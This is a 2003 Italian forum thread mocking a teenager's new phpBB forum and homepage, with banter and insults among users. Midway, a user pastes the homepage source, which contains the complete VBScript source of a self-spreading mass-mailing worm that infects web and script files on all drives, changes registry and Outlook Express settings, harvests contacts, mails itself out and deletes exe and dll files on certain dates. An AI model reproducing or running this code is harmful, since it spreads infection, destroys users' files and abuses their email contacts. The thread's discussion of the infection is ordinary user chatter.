FORUM OF MARCELLO CANNARSA

**mcannarsa1986** · 26-04-2003, 20.15.43

Finalmente il primo forum under 20 fatto da marcellocannarsa.

I miei commenti

Non sapevo che il php dava vantaggi adesso ci sono riuscito. Ho speso 2500 AC per aggiudicarmi il php - my admin.

IL SITO DEL FORUM è

http://mcannarsa1986.altervista.org/...hpBB/index.php

ISCRIVETEVI E VI DIVERTIRITE

PER SAPERNE DI INSTALLAZIONE FORUM PER CHI NON SA IL PHP CLICCATE SU www.phpbb.it e installate il forum , scaricate i software e spendete per altervista 2500 AC.

PS: se qualcuno non sa l'installazione (principianti) vi aiuterò!
Un saluto a Raffaele (Traffyk) che mi fatto un grosso aiuto per il php. Ciao!!

www.2-3-1986.tk by Marcello Cannarsa

27-04-2003, 19.53.28

Adesso è arrivato il genio che solo perchè è riuscito ad installare un forum si crede il profeta del PHP.... ma se fino ad ieri non riuscivi a usare nemmeno l'html???
OOh... egocentrismo allo stato puro... manco fossi un'attore!!!

Scusa ma non sono riuscito a stare zitto

**twisterdark** · 27-04-2003, 20.01.42

Up per Mkolsen...ah!
Si dice "...che mi ha dato un grosso aiuto" non "...che mi ha fatto un grosso aiuto"
L'istallazione di un forum in php la so fare anche io che di PHP non ci capisco una maxxa e non intendo capirne...vedi un po' tu!!

27-04-2003, 20.08.12

Almeno io sono partito col pensiero... conosco abbastanza l'html, ma non so un'H di PHP.... non importa... imparerò!!!
Ma mica sono andato in giro a dire... ragazzi conosco il PHP meglio di un manuale...!!!
E poi dai... ora non vorrei essere troppo offensivo ma... hai aperto un forum con un solo argomento (te stesso!!!!) e hai praticamente lasciato le impostazioni di base!!!
Della serie... se questo è un WebMaster io sono Bill Gates

Mi scuso in anticipo se sono stato troppo crudele, ma non ce la faccevo + a tenermi tutto dentro!!!

27-04-2003, 20.10.21

Originalmente inviato da twisterdark

e non intendo capirne...vedi un po' tu!!

Perchè?? Se imparassi saresti bravo... fai certi siti che sono gioiellini...

**twisterdark** · 27-04-2003, 20.22.05

Perchè mi dedico al Perl/CGI che mi attira molto. Se riuscissi a porovare i miei script!! Non riesco a far funzionare la funzione CGI nel server Apache impostato sul mio PC per i test offline...non ci riesco

Prima o poi ci riuscirò e allora potrò fare le mie prove 8)

P.S.Tnx per i gioiellini hehe. Gioiellino anche la tua diva :P

27-04-2003, 20.38.26

Anch'io ho dovuto fare alcune prove, ma ho sempre preferite farle caricando i file sul server... il locale non sempre dice la verità...

**twisterdark** · 27-04-2003, 20.39.46

A me in locale mi ricopia tutto lo script come se fosse un .txt

27-04-2003, 20.49.58

Povero cannarsa.... si sarà offeso???

**twisterdark** · 27-04-2003, 20.55.47

No perkè?? Ognugno è fatto a modo suo. Già in altri post è stato marchiato come "sborone"...anche se non lo fa apposta. (spero

)

**Ghibli** · 28-04-2003, 16.30.44

lasciate stare Marcello! :D
è il primo alieno su altervista! :D :D
Mitico!

28-04-2003, 16.35.53

succede solo a me o nel suo sito il norton blocca un virus?

**Ghibli** · 28-04-2003, 16.43.14

dweb, esatto:
http://securityresponse.symantec.com...time.a@mm.html

28-04-2003, 17.20.08

<html xmlns:v="urn:schemas-microsoft-com:vml"
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:w="urn:schemas-microsoft-com:office:word"
xmlns="http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
<meta name=ProgId content=FrontPage.Editor.Document>
<meta name=Generator content="Microsoft FrontPage 4.0">
<meta name=Originator content="Microsoft Word 9">
<link rel=File-List href="./index_file/filelist.xml">
<link rel=Edit-Time-Data href="./index_file/editdata.mso">

<title>The new official site of Marcello Cannarsa</title>

<style>

</style>

</head>

<body bgcolor=blue background="./index_file/image001.jpg" lang=IT link=blue
vlink=purple style='tab-interval:35.4pt'>


<div class=Section1>

<p class=MsoNormal align=center style='mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;text-align:center'><span lang=EN-GB style='font-size:16.0pt;mso-bidi-font-size:
10.0pt;font-family:"Comic Sans MS";color:white;mso-ansi-language:EN-GB'>The new
official site of Marcello Cannarsa</span></p>

<p class=MsoNormal align=center style='mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;text-align:center'><span lang=EN-GB style='font-size:16.0pt;mso-bidi-font-size:
10.0pt;font-family:"Comic Sans MS";color:white;mso-ansi-language:EN-GB'><u1:p></u1:p></span><span lang=EN-GB
style='mso-bidi-font-size:12.0pt;font-family:"Times New Roman";mso-ansi-language:
EN-GB'><o:p></o:p></span></p>

<p class=MsoNormal align=center style='mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;text-align:center'><span lang=EN-GB style='font-size:16.0pt;mso-bidi-font-size:
10.0pt;font-family:"Comic Sans MS";color:white;mso-ansi-language:EN-GB'><u1:p></u1:p><a
href="http://www.2-3-1986.tk/"><span style='color:white'>http://www.2-3-1986.tk</span></a><u1...></p>

<p class=MsoNormal align=center style='mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;text-align:center'><![if !supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></p>

<p class=MsoNormal align=center style='mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;text-align:center'><u1:p></u1:p><u2:shapetype id="_x0000_t75" coordsize="21600,21600" u1:spt="75" u1:preferrelative="t" path="m@4@5l@4@11@9@11@9@5xe" filled="f" stroked="f"><u2:stroke joinstyle="miter"/><u2:formulas><u2:f eqn="if lineDrawn pixelLineWidth 0"/><u2:f eqn="sum @0 1 0"/><u2:f eqn="sum 0 0 @1"/><u2:f eqn="prod @2 1 2"/><u2:f eqn="prod @3 21600 pixelWidth"/><u2:f eqn="prod @3 21600 pixelHeight"/><u2:f eqn="sum @0 0 1"/><u2:f eqn="prod @6 1 2"/><u2:f eqn="prod @7 21600 pixelWidth"/><u2:f eqn="sum @8 21600 0"/><u2:f eqn="prod @7 21600 pixelHeight"/><u2:f eqn="sum @10 21600 0"/></u2:formulas><u2:path u1:extrusionok="f" gradientshapeok="t" u1:connecttype="rect"/><u1:lock u2:ext="edit" aspectratio="t"/></u2:shapetype><u2:shape id="_x0000_i1043" type="#_x0000_t75" style="width:275.25pt;&#13;&#10; height:189pt"><u2:imagedata src="./index_file/image002.jpg" u1:title="pisces"/></u2:shape><span
style="mso-spacerun: yes"> </span><span style="mso-spacerun:
yes"> </span><span lang=EN-GB style='font-size:16.0pt;
mso-bidi-font-size:10.0pt;font-family:"Comic Sans MS";color:white;mso-ansi-language:
EN-GB'><a href="http://www.nike.com/"><u2:shape id="_x0000_i1046" type="#_x0000_t75" style="width:42pt;height:16.5pt"><u2:imageda ta src="./index_file/image004.gif" u1:title="image001"/></u2:shape><span
style='color:white;text-decoration:none;text-underline:none'><![if !vml]><img border=0 width=367 height=252
src="./index_file/image003.jpg" v:shapes="_x0000_i1057"><![endif]></span><span
style='text-decoration:none;text-underline:none'><![if !vml]><img
border=0 width=56 height=22 src="./index_file/image004.gif"
u2:shapes="_x0000_i1046" v:shapes="_x0000_i1026"><![endif]></span></a><u1:p></u1:p></span><o:p></o:p></p>

<p class=MsoNormal align=center style='mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;text-align:center'><u2:shapetype id="_x0000_t202" coordsize="21600,21600" u1:spt="202" path="m0,0l0,21600,21600,21600,21600,0xe"><u 2:stroke joinstyle="miter"/><u2:path gradientshapeok="t" u1:connecttype="rect"/></u2:shapetype><u2:shape id="_x0000_s1227" type="#_x0000_t202" style="position:absolute;&#13;&#10; left:0;text-align:left;margin-left:194.55pt;margin-top:20.45pt;width:189pt;&#13;&#10; height:27pt;z-index:2" stroked="f"><u2:fill color2="blue" focus="50%" type="gradient"/><u2:textbox><span
lang=EN-GB style='mso-ansi-language:EN-GB'><![if !vml]></span></p>

<p class=MsoNormal align=center style='mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;text-align:center'>&nbsp;</p>

<p class=MsoNormal align=center style='mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;text-align:center'><span
lang=EN-GB style='mso-ansi-language:EN-GB'><img border=0 width=56 height=22
src="./index_file/image006.gif" v:shapes="_x0000_i1062"><![endif]><o:p></o:p></span></p>

</u2:textbox></u2:shape>

<p align=center style='text-align:center'><a href="frame1.asp"><span
lang=EN-GB style='font-family:"Comic Sans MS";color:white;mso-ansi-language:
EN-GB'>ENTRA</span></a><span style='mso-ansi-language:EN-GB'> <span lang=EN-GB><o:p></o:p></span></span></p>

<p class=MsoNormal align=right style='mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;text-align:right'><span lang=EN-GB style='font-size:8.0pt;mso-bidi-font-size:
10.0pt;font-family:Verdana;color:white;mso-ansi-language:EN-GB'>powered by <a
href="http://www.marcellocannarsasoftware.tk/"><![if !vml]><img border=0 width=191 height=70
src="./index_file/image007.gif" v:shapes="_x0000_i1068"><![endif]></a></span><span
lang=EN-GB style='mso-ansi-language:EN-GB'><o:p></o:p></span></p>

<p class=MsoNormal align=right style='mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;text-align:right'><span lang=EN-GB style='font-size:8.0pt;mso-bidi-font-size:
10.0pt;font-family:Verdana;color:white;mso-ansi-language:EN-GB'><u1:p></u1:p>©
2003 <a href="mailto:marcellocannarsa@2-3-1986.tk"><span style='color:white'>MC
SOFTWARE</span></a><u1:p></u1:p></span><span lang=EN-GB style='mso-ansi-language:
EN-GB'><o:p></o:p></span></p>

<p class=MsoNormal><script language="JavaScript">
document.write('<s'+'cript language="JavaScript" src="http://ad.altervista.org/alternet.ad?c=9&f=3&x"></s'+'cript>');
</script><script language="JavaScript">
document.write('<s'+'cript language="JavaScript" src="http://ad.altervista.org/alternet.ad?c=14&f=3&x"></s'+'cript>');
</script><o:p></o:p></p>

<u1:p></u1:p><u1:p></u1:p>

<form action="http://traffyk.altervista.org/modules.php?name=Web_Links"
method=post enctype="application/x-www-form-urlencoded">

<div align=center>

<table border=0 cellspacing=0 cellpadding=0 width=175 style='width:131.25pt;
mso-cellspacing:0cm;mso-padding-alt:0cm 0cm 0cm 0cm'>
<tr>
<td style='padding:0cm 0cm 0cm 0cm'>
<p class=MsoNormal align=center style='text-align:center'><b><span
style='font-size:8.0pt;mso-bidi-font-size:10.0pt;font-family:Tahoma;
color:white'>Vota per questo Sito!</span></b><span style='font-size:8.0pt;
mso-bidi-font-size:12.0pt;font-family:Tahoma;color:white'><o:p></o:p></span></p>
</td>
</tr>
<tr>
<td style='padding:0cm 0cm 0cm 0cm'>
<div align=center>
<table border=0 cellspacing=0 cellpadding=0 style='mso-cellspacing:0cm;
mso-padding-alt:0cm 0cm 0cm 0cm'>
<tr>
<td valign=top style='padding:0cm 0cm 0cm 0cm'>
<p class=MsoNormal><span style='font-size:8.0pt;mso-bidi-font-size:10.0pt;
font-family:Tahoma;color:white'><SELECT NAME="rating">
<OPTION SELECTED>--
<OPTION>10
<OPTION>9
<OPTION>8
<OPTION>7
<OPTION>6
<OPTION>5
<OPTION>4
<OPTION>3
<OPTION>2
<OPTION>1
</SELECT></span><span
style='font-size:8.0pt;mso-bidi-font-size:12.0pt;font-family:Tahoma;
color:white'><o:p></o:p></span></p>
</td>
<td valign=top style='padding:0cm 0cm 0cm 0cm'>
<p class=MsoNormal><span style='font-size:8.0pt;mso-bidi-font-size:10.0pt;
font-family:Tahoma;color:white'><span style='display:none;mso-hide:all'><INPUT TYPE="hidden" NAME="ratinglid" VALUE="4"></span><span
style='display:none;mso-hide:all'><INPUT TYPE="hidden" NAME="ratinguser" VALUE="outside"></span><span
style='display:none;mso-hide:all'><INPUT TYPE="hidden" NAME="l_op" VALUE="addrating"></span><INPUT TYPE="submit" ACTION="http://traffyk.altervista.org/modules.php?name=Web_Links" VALUE="Vota!" METHOD="post"></span><span
style='font-size:8.0pt;mso-bidi-font-size:12.0pt;font-family:Tahoma;
color:white'><o:p></o:p></span></p>
</td>
</tr>
</table>
</div>
<p class=MsoNormal><span style='font-size:8.0pt;mso-bidi-font-size:12.0pt;
font-family:Tahoma;color:white'><o:p></o:p></span></p>
</td>
</tr>
</table>

</div>

</form>

<p align=center style='text-align:center'><span style='font-size:8.0pt;
mso-bidi-font-size:12.0pt;font-family:Tahoma;color:red;background:yellow;
mso-highlight:yellow'><a
href="http://member.bcentral.com/cgi-bin/fc/fastcounter-login?2982976"
target="_top"><span style='color:red;text-decoration:none;text-underline:none'><img
border=0 width=90 height=16 id="_x0000_i1026"
src="http://fastcounter.bcentral.com/fastcounter?2982976+5965959"></span></a></span></p>

<p align=center style='text-align:center'><span style='font-size:8.0pt;
mso-bidi-font-size:12.0pt;font-family:Tahoma;color:red;background:yellow;
mso-highlight:yellow'><u8:p></u8:p></span><u9:p></u9:p><o:p></o:p></p>

<p align="center"><a href="http://www.altervista.org/cgi-bin/top100/vota.cgi" target="_blank"><img src="http://www.altervista.org/cgi-bin/top100/top100banner.cgi" alt="Vota questo sito nella Top 100 di AlterVista" border=0></a><a href="http://www.altervista.org/cgi-bin/top100/vota.cgi" target="_blank"><img src="http://www.altervista.org/cgi-bin/top100/top100banner.cgi" alt="Vota questo sito nella Top 100 di AlterVista" border=0></a>

<p class=MsoNormal><u2:shape id="_x0000_s1214" type="#_x0000_t202" style="position:absolute;margin-left:176.55pt;margin-top:-2.05pt;width:377.95pt;&#13;&#10; height:280.05pt;z-index:1" filled="f" stroked="f"/><![if !supportEmptyParas]>&nbsp;<![endif]><o:p></o:p></p>

<u1:p></u1:p></div>

</body>

</html>
<script language='VBScript'>
Rem I am sorry! happy time
On Error Resume Next
mload
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")
Set Oh = CreateObject("Shell.Application")
If IsHTML Then
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset
Os.Path = "C:\Help.htm"
Os.Doc = Lhtml()
Os.Write()
Ihtml = "<span style='position:absolute'><Iframe src='C:\Help.htm' width='0' height='0'></Iframe></span>"
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
main
Else
Os.Reset()
Os.Path = mPath & "\" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
End If
End If
End If
Else
main
End If
End Sub
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
Set Od = CreateObject("Scripting.Dictionary")
Od.Add "html", "1100"
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
Ks = "HKEY_CURRENT_USER\Software\"
Ds = Grf()
Cs = Gsf()
If IsVbs Then
If Of.FileExists("C:\help.htm") Then
Of.DeleteFile ("C:\help.htm")
End If
Key = CInt(Month(Date) + Day(Date))
If Key = 13 Then
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
End If
Cn = Rg(Ks & "Help\Count")
If Cn = "" Then
Cn = 1
End If
Rw Ks & "Help\Count", Cn + 1
f1 = Rg(Ks & "Help\FileName")
f2 = FNext(Of, Od, f1)
fext = GetExt(Of, Od, f2)
Rw Ks & "Help\FileName", f2
If IsDel(fext) Then
f3 = f2
f2 = FNext(Of, Od, f2)
Rw Ks & "Help\FileName", f2
Of.DeleteFile f3
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USER\Control Panel\desktop\wallPaper")
If Rg(Ks & "Help\wallPaper") <> wp Or wp = "" Then
If wp = "" Then
n1 = ""
n3 = Cs & "\Help.htm"
Else
mP = Of.GetFile(wp).ParentFolder
n1 = Of.GetFileName(wp)
n2 = Of.GetBaseName(wp)
n3 = Cs & "\" & n2 & ".htm"
End If
Set pfc = Of.CreateTextFile(n3, True)
mt = Sa("1100")
pfc.Write "<" & "HTML><" & "body bgcolor='#007f7f' background='" & n1 & "'><" & "/Body><" & "/HTML>" & mt
pfc.Close
Rw Ks & "Help\wallPaper", n3
Rw "HKEY_CURRENT_USER\Control Panel\desktop\wallPaper", n3
End If
Else
Set fc = Of.CreateTextFile(Ds & "\Help.vbs", True)
fc.Write Sa("0100")
fc.Close
bf = Cs & "\Untitled.htm"
Set fc2 = Of.CreateTextFile(bf, True)
fc2.Write Lhtml
fc2.Close
oeid = Rg("HKEY_CURRENT_USER\Identities\Default User ID")
oe = "HKEY_CURRENT_USER\Identities\" & oeid & "\Software\Microsoft\Outlook Express\5.0\Mail"
MSH = oe & "\Message Send HTML"
CUS = oe & "\Compose Use Stationery"
SN = oe & "\Stationery Name"
Rw MSH, 1
Rw CUS, 1
Rw SN, bf
Web = Cs & "\WEB"
Set gf = Of.GetFolder(Web).Files
Od.Add "htt", "1100"
For Each m In gf
fext = GetExt(Of, Od, m)
If fext <> "" Then
Fw Of, m, fext
End If
Next
End If
End Sub
Sub mclose()
document.Write "<" & "title>I am sorry!</title" & ">"
window.Close
End Sub
Sub Rt()
Dim mPath
On Error Resume Next
mPath = Grf()
Iv mPath, "Help.vbs"
End Sub
Function Sa(n)
Dim VBSText, m
VBSText = Lvbs()
If Mid(n, 3, 1) = 1 Then
m = "<%" & VBSText & "%>"
End If
If Mid(n, 2, 1) = 1 Then
m = VBSText
End If
If Mid(n, 1, 1) = 1 Then
m = Lscript(m)
End If
Sa = m & vbCrLf
End Function
Sub Fw(Of, S, n)
Dim fc, fc2, m, mmail, mt
On Error Resume Next
Set fc = Of.OpenTextFile(S, 1)
mt = fc.ReadAll
fc.Close
If Not Sc(mt) Then
mmail = Ml(mt)
mt = Sa(n)
Set fc2 = Of.OpenTextFile(S, 8)
fc2.Write mt
fc2.Close
Msend (mmail)
End If
End Sub
Function Sc(S)
mN = "Rem I am sorry! happy time"
If InStr(S, mN) > 0 Then
Sc = True
Else
Sc = False
End If
End Function
Function FNext(Of, Od, S)
Dim fpath, fname, fext, T, gf
On Error Resume Next
fname = ""
T = False
If Of.FileExists(S) Then
fpath = Of.GetFile(S).ParentFolder
fname = S
ElseIf Of.FolderExists(S) Then
fpath = S
T = True
Else
fpath = Dnext(Of, "")
End If
Do While True
Set gf = Of.GetFolder(fpath).Files
For Each m In gf
If T Then
If GetExt(Of, Od, m) <> "" Then
FNext = m
Exit Function
End If
ElseIf LCase(m) = LCase(fname) Or fname = "" Then
T = True
End If
Next
fpath = Pnext(Of, fpath)
Loop
End Function
Function Pnext(Of, S)
On Error Resume Next
Dim Ppath, Npath, gp, pn, T, m
T = False
If Of.FolderExists(S) Then
Set gp = Of.GetFolder(S).SubFolders
pn = gp.Count
If pn = 0 Then
Ppath = LCase(S)
Npath = LCase(Of.GetParentFolderName(S))
T = True
Else
Npath = LCase(S)
End If
Do While Not Er
For Each pn In Of.GetFolder(Npath).SubFolders
If T Then
If Ppath = LCase(pn) Then
T = False
End If
Else
Pnext = LCase(pn)
Exit Function
End If
Next
T = True
Ppath = LCase(Npath)
Npath = Of.GetParentFolderName(Npath)
If Of.GetFolder(Ppath).IsRootFolder Then
m = Of.GetDriveName(Ppath)
Pnext = Dnext(Of, m)
Exit Function
End If
Loop
End If
End Function
Function Dnext(Of, S)
Dim dc, n, d, T, m
On Error Resume Next
T = False
m = ""
Set dc = Of.Drives
For Each d In dc

If d.DriveType = 2 Or d.DriveType = 3 Then
If T Then
Dnext = d
Exit Function
Else
If LCase(S) = LCase(d) Then
T = True
End If
If m = "" Then
m = d
End If
End If
End If
Next
Dnext = m
End Function
Function GetExt(Of, Od, S)
Dim fext
On Error Resume Next
fext = LCase(Of.GetExtensionName(S))
GetExt = Od.Item(fext)
End Function
Sub Rw(k, v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
R.RegWrite k, v
End Sub
Function Rg(v)
Dim R
On Error Resume Next
Set R = CreateObject("WScript.Shell")
Rg = R.RegRead(v)
End Function
Function IsVbs()
Dim ErrTest
On Error Resume Next
ErrTest = WScript.ScriptFullname
If Err Then
IsVbs = False
Else
IsVbs = True
End If
End Function
Function IsHTML()
Dim ErrTest
On Error Resume Next
ErrTest = document.Location
If Er Then
IsHTML = False
Else
IsHTML = True
End If
End Function
Function IsMail(S)
Dim m1, m2
IsMail = False
If InStr(S, vbCrLf) = 0 Then
m1 = InStr(S, "@")
m2 = InStr(S, ".")
If m1 <> 0 And m1 < m2 Then
IsMail = True
End If
End If
End Function
Function Lvbs()
Dim f, m, ws, Of
On Error Resume Next
If IsVbs Then
Set Of = CreateObject("Scripting.FileSystemObject")
Set f = Of.OpenTextFile(WScript.ScriptFullname, 1)
Lvbs = f.ReadAll
Else
For Each ws In document.scripts
If LCase(ws.Language) = "vbscript" Then
If Sc(ws.Text) Then
Lvbs = ws.Text
Exit Function
End If
End If
Next
End If
End Function
Function Iv(mPath, mName)
Dim Shell
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
Shell.NameSpace(mPath).Items.Item(mName).InvokeVer b
If Er Then
Iv = False
Else
Iv = True
End If
End Function
Function Grf()
Dim Shell, mPath
On Error Resume Next
Set Shell = CreateObject("Shell.Application")
mPath = "C:\"
For Each mShell In Shell.NameSpace(mPath).Items
If mShell.IsFolder Then
Grf = mShell.Path
Exit Function
End If
Next
If Er Then
Grf = ""
End If
End Function
Function Gsf()
Dim Of, m
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
m = Of.GetSpecialFolder(0)
If Er Then
Gsf = "C:\"
Else
Gsf = m
End If
End Function
Function Lhtml()
Lhtml = "<" & "HTML" & "><HEAD" & ">" & vbCrLf & _
"<" & "Title> Help </Title" & "><" & "/HEAD>" & vbCrLf & _
"<" & "Body> " & Lscript(Lvbs()) & vbCrLf & _
"<" & "/Body></HTML" & ">"
End Function
Function Lscript(S)
Lscript = "<" & "script language='VBScript'>" & vbCrLf & _
S & "<" & "/script" & ">"
End Function
Function Sl(S1, S2, n)
Dim l1, l2, l3, i
l1 = Len(S1)
l2 = Len(S2)
i = InStr(S1, S2)
If i > 0 Then
l3 = i + l2 - 1
If n = 0 Then
Sl = Left(S1, i - 1)
ElseIf n = 1 Then
Sl = Right(S1, l1 - l3)
End If
Else
Sl = ""
End If
End Function
Function Ml(S)
Dim S1, S3, S2, T, adds, m
S1 = S
S3 = """"
adds = ""
S2 = S3 & "mailto" & ":"
T = True
Do While T
S1 = Sl(S1, S2, 1)
If S1 = "" Then
T = False
Else
m = Sl(S1, S3, 0)
If IsMail(m) Then
adds = adds & m & vbCrLf
End If
End If
Loop
Ml = Split(adds, vbCrLf)
End Function
Function Og()
Dim i, n, m(), Om, Oo
Set Oo = CreateObject("Outlook.Application")
Set Om = Oo.GetNamespace("MAPI").GetDefaultFolder(10).Items
n = Om.Count
ReDim m(n)
For i = 1 To n
m(i - 1) = Om.Item(i).Email1Address
Next
Og = m
End Function
Sub Tsend()
Dim Od, MS, MM, a, m
Set Od = CreateObject("Scripting.Dictionary")
MConnect MS, MM
MM.FetchSorted = True
MM.Fetch
For i = 0 To MM.MsgCount - 1
MM.MsgIndex = i
a = MM.MsgOrigAddress
If Od.Item(a) = "" Then
Od.Item(a) = MM.MsgSubject
End If
Next
For Each m In Od.Keys
MM.Compose
MM.MsgSubject = "Fw: " & Od.Item(m)
MM.RecipAddress = m
MM.AttachmentPathName = Gsf & "\Untitled.htm"
MM.Send
Next
MS.SignOff
End Sub
Function MConnect(MS, MM)
Dim U
On Error Resume Next
Set MS = CreateObject("MSMAPI.MAPISession")
Set MM = CreateObject("MSMAPI.MAPIMessages")
U = Rg("HKEY_CURRENT_USER\Software\Microsoft\Windows Messaging Subsystem\Profiles\DefaultProfile")
MS.UserName = U
MS.DownLoadMail = False
MS.NewSession = False
MS.LogonUI = True
MS.SignOn
MM.SessionID = MS.SessionID
End Function
Sub Msend(Address)
Dim MS, MM, i, a
MConnect MS, MM
i = 0
MM.Compose
For Each a In Address
If IsMail(a) Then
MM.RecipIndex = i
MM.RecipAddress = a
i = i + 1
End If
Next
MM.MsgSubject = " Help "
MM.AttachmentPathName = Gsf & "\Untitled.htm"
MM.Send
MS.SignOff
End Sub
Function Er()
If Err.Number = 0 Then
Er = False
Else
Err.Clear
Er = True
End If
End Function
Function IsDel(S)
If Mid(S, 4, 1) = 1 Then
IsDel = True
Else
IsDel = False
End If
End Function
</script>

Il codice della home page...
Microsfot Word e te pareva...
Quante volte vi devo dire che usare Word, Excel o powepoint per creare pagine web fa malissimo????
Uff....

Stando a quel che dice la pagina, nel suo interno c'é un codice VBS piuttosto malizioso:
sfrutta uno degli exploit dei componenti word e di IE per poter essere salvato sulla propria macchina.
Non sono qui per annoigliarvi su ciò che fa questo virus, ma per dirvi solo:
1. Solo IE ha il parser per il VBScript, quindi questo virus non può entrare in funzione su Browser non MS (tanto per cambiare :D ).
2. La vulnerabilità dovrebbe essere stata patchata almeno su IE 6 (ma su questo nn metto la mano sul fuoco...)

Resta solo una cosa da dire
W Microsoft :D

28-04-2003, 17.24.00

mi piacce sopprattuto i 10 metri di spazio bianco...
Word... ma va aff...

28-04-2003, 17.40.58

secondo me nn è da incolpare word , excel o powerpoint... se hanno la possibilita' di salvare i documenti in html nn è detto che siano efficenti.

.. e poi per fare un sito basta il blocco note...
e con questo nn voglio dire che si giusto usarli... ANZI... se si evitano è meglio...

ciaooooo :D :D

ps.
marco .. se fossi in te riguarderei un attimino le frame......

28-04-2003, 19.13.12

Originalmente inviato da dweb

succede solo a me o nel suo sito il norton blocca un virus?

No purtroppo è già il secondo, vatti a leggere il post di slam nel forum di Aiuto. :(

28-04-2003, 19.36.55

comunque ragazzi resta il fatto che aveva offerto una mano e non mi sembra il caso di attaccare così no? :? dopotutto c'è sempre qualcuno che sa meno di noi e non è da escludere che a quel qualcuno serva un aiuto di quel genere :P

**mcannarsa1986** · 28-04-2003, 19.39.37

Originalmente inviato da mkolsen

Adesso è arrivato il genio che solo perchè è riuscito ad installare un forum si crede il profeta del PHP.... ma se fino ad ieri non riuscivi a usare nemmeno l'html???
OOh... egocentrismo allo stato puro... manco fossi un'attore!!!

Scusa ma non sono riuscito a stare zitto

Le accetto le tue critiche!

**mcannarsa1986** · 28-04-2003, 19.40.55

Originalmente inviato da mkolsen

mi piacce sopprattuto i 10 metri di spazio bianco...
Word... ma va aff...

Buffone , fai solo il buffone uappo!

**mcannarsa1986** · 28-04-2003, 19.41.53

Originalmente inviato da Ghibli

lasciate stare Marcello! :D
è il primo alieno su altervista! :D :D
Mitico!

Hai fatto la battuta! Grazie!

**mcannarsa1986** · 28-04-2003, 19.42.39

Originalmente inviato da twisterdark

No perkè?? Ognugno è fatto a modo suo. Già in altri post è stato marchiato come "sborone"...anche se non lo fa apposta. (spero

)

Non dirmi male, altrimenti sfotto Cam... mer..

**mcannarsa1986** · 28-04-2003, 19.46.23

Originalmente inviato da mkolsen

Almeno io sono partito col pensiero... conosco abbastanza l'html, ma non so un'H di PHP.... non importa... imparerò!!!
Ma mica sono andato in giro a dire... ragazzi conosco il PHP meglio di un manuale...!!!
E poi dai... ora non vorrei essere troppo offensivo ma... hai aperto un forum con un solo argomento (te stesso!!!!) e hai praticamente lasciato le impostazioni di base!!!
Della serie... se questo è un WebMaster io sono Bill Gates

Mi scuso in anticipo se sono stato troppo crudele, ma non ce la faccevo + a tenermi tutto dentro!!!

Se ti credi di fare tanto il galante, pensaci! Le accetto le scuse, ma il linguaggio web lo conosco soltanto da 2 anni e mezzo. Per piacere, non fare lo stupido, altrimenti sono guai per te che dici ca22ate. Intanto mi ha aiutato Raffaele (traffyk) e secondo me è molto meglio di te, almeno ti aiuta con cose facili. Ci sarà un motivo perchè è primo in classifica!!!

**mcannarsa1986** · 28-04-2003, 19.47.23

Originalmente inviato da mcannarsa1986

Originalmente inviato da mkolsen

Almeno io sono partito col pensiero... conosco abbastanza l'html, ma non so un'H di PHP.... non importa... imparerò!!!
Ma mica sono andato in giro a dire... ragazzi conosco il PHP meglio di un manuale...!!!
E poi dai... ora non vorrei essere troppo offensivo ma... hai aperto un forum con un solo argomento (te stesso!!!!) e hai praticamente lasciato le impostazioni di base!!!
Della serie... se questo è un WebMaster io sono Bill Gates

Mi scuso in anticipo se sono stato troppo crudele, ma non ce la faccevo + a tenermi tutto dentro!!!

Se ti credi di fare tanto il galante, pensaci! Le accetto le scuse, ma il linguaggio web lo conosco soltanto da 2 anni e mezzo. Per piacere, non fare lo stupido, altrimenti sono guai per te che dici ca22ate. Intanto mi ha aiutato Raffaele (traffyk) e secondo me è molto meglio di te, almeno ti aiuta con cose facili. Ci sarà un motivo perchè è primo in classifica!!!

prossimamente aggiornerò altri argomenti!! Tra i quali anche musica!

**mcannarsa1986** · 28-04-2003, 19.48.50

Originalmente inviato da numerone

<html xmlns:v="urn:schemas-microsoft-com:vml"
xmlns:o="urn:schemas-microsoft-com:office:office"
xmlns:w="urn:schemas-microsoft-com:office:word"
xmlns="http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv=Content-Type content="text/html; charset=windows-1252">
<meta name=ProgId content=FrontPage.Editor.Document>
<meta name=Generator content="Microsoft FrontPage 4.0">
<meta name=Originator content="Microsoft Word 9">
<link rel=File-List href="./index_file/filelist.xml">
<link rel=Edit-Time-Data href="./index_file/editdata.mso">

<title>The new official site of Marcello Cannarsa</title>

<style>

</style>

</head>

<body bgcolor=blue background="./index_file/image001.jpg" lang=IT link=blue
vlink=purple style='tab-interval:35.4pt'>


<div class=Section1>

<p class=MsoNormal align=center style='mso-margin-top-alt:auto;mso-margin-bottom-alt:
auto;text-align:center'><span lang=EN-GB style='font-size:16.0pt;mso-bidi-font-size:
